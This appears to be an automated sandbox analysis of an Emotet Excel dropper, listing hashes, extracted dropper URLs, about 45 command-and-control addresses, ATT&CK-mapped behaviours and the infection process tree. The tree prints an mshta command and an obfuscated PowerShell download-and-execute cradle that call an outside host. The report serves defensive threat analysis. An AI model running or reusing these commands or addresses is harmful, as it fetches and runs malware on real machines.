emotet | 3d877e78dce4cdb9ef64708c14fe6627505e1ff25946d5ae2c5625e967a5bf88

Analysis

max time kernel
129s
max time network
154s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 16:51

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General

Target
tmp7hter5ej.xls
Size 154KB
Sample220127-vctf6agabl
SHA256 3d877e78dce4cdb9ef64708c14fe6627505e1ff25946d5ae2c5625e967a5bf88
MD5 550c468db1caace9c3ed54e36a0ca334
SHA1 36faaf33418afbfe6f2794c93b36b309d5945082
SHA512 4cfcbc1d3284d955bd5c80720dca4e9a9aeb8f9d6e75cde9477919222c424dc7dc3a7d844dbc25460b3b67b1b3dd883478830f4e885ba769b185980254a6d5c1
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4084	2324	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
23	8	mshta.exe
26	1588	powershell.exe
32	1588	powershell.exe
51	1740	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1068	rundll32.exe
1408	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Mqnbxoprsf\bwjtrqfpssqaqu.ywb	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2404	8	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2324	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
2404	WerFault.exe
1740	rundll32.exe
1740	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2404	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 4084	2324	EXCEL.EXE	70
PID 2324 wrote to memory of 4084	2324	EXCEL.EXE	70
PID 4084 wrote to memory of 8	4084	cmd.exe	72
PID 4084 wrote to memory of 8	4084	cmd.exe	72
PID 8 wrote to memory of 1588	8	mshta.exe	74
PID 8 wrote to memory of 1588	8	mshta.exe	74
PID 1588 wrote to memory of 1864	1588	powershell.exe	78
PID 1588 wrote to memory of 1864	1588	powershell.exe	78
PID 1864 wrote to memory of 1068	1864	cmd.exe	79
PID 1864 wrote to memory of 1068	1864	cmd.exe	79
PID 1864 wrote to memory of 1068	1864	cmd.exe	79
PID 1068 wrote to memory of 1408	1068	rundll32.exe	80
PID 1068 wrote to memory of 1408	1068	rundll32.exe	80
PID 1068 wrote to memory of 1408	1068	rundll32.exe	80
PID 1408 wrote to memory of 1384	1408	rundll32.exe	83
PID 1408 wrote to memory of 1384	1408	rundll32.exe	83
PID 1408 wrote to memory of 1384	1408	rundll32.exe	83
PID 1384 wrote to memory of 1740	1384	rundll32.exe	84
PID 1384 wrote to memory of 1740	1384	rundll32.exe	84
PID 1384 wrote to memory of 1740	1384	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp7hter5ej.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:8
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1588
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1864
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1068
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1408
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mqnbxoprsf\bwjtrqfpssqaqu.ywb",YWUqdmEHniaiVIG
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mqnbxoprsf\bwjtrqfpssqaqu.ywb",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1740
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 8 -s 1652
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2404

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1068-330-0x0000000004490000-0x00000000044B5000-memory.dmp

Download

memory/1408-344-0x0000000004890000-0x00000000048B5000-memory.dmp

Download

memory/1408-351-0x0000000004AB0000-0x0000000004AD5000-memory.dmp

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memory/1408-346-0x00000000048F0000-0x0000000004915000-memory.dmp

Download

memory/1408-342-0x0000000004830000-0x0000000004855000-memory.dmp

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memory/1408-340-0x0000000004650000-0x0000000004675000-memory.dmp

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memory/1408-338-0x0000000004570000-0x0000000004595000-memory.dmp

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memory/1408-335-0x0000000000950000-0x0000000000975000-memory.dmp

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memory/1588-287-0x000001F999AF0000-0x000001F999B90000-memory.dmp

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memory/1588-304-0x000001F999AF0000-0x000001F999B90000-memory.dmp

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memory/1588-267-0x000001F99B8F0000-0x000001F99B912000-memory.dmp

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memory/1588-299-0x000001F9B3D60000-0x000001F9B3DD6000-memory.dmp

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memory/1588-286-0x000001F999AF0000-0x000001F999B90000-memory.dmp

Download

memory/1588-288-0x000001F99BA80000-0x000001F99BABC000-memory.dmp

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memory/1740-353-0x0000000004ED0000-0x0000000004EF5000-memory.dmp

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memory/2324-117-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-116-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-118-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-115-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-129-0x00007FFEEFFC0000-0x00007FFEEFFD0000-memory.dmp

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memory/2324-128-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-127-0x00007FFEEFFC0000-0x00007FFEEFFD0000-memory.dmp

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memory/2324-395-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-396-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-397-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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memory/2324-398-0x00007FFEF3A30000-0x00007FFEF3A40000-memory.dmp

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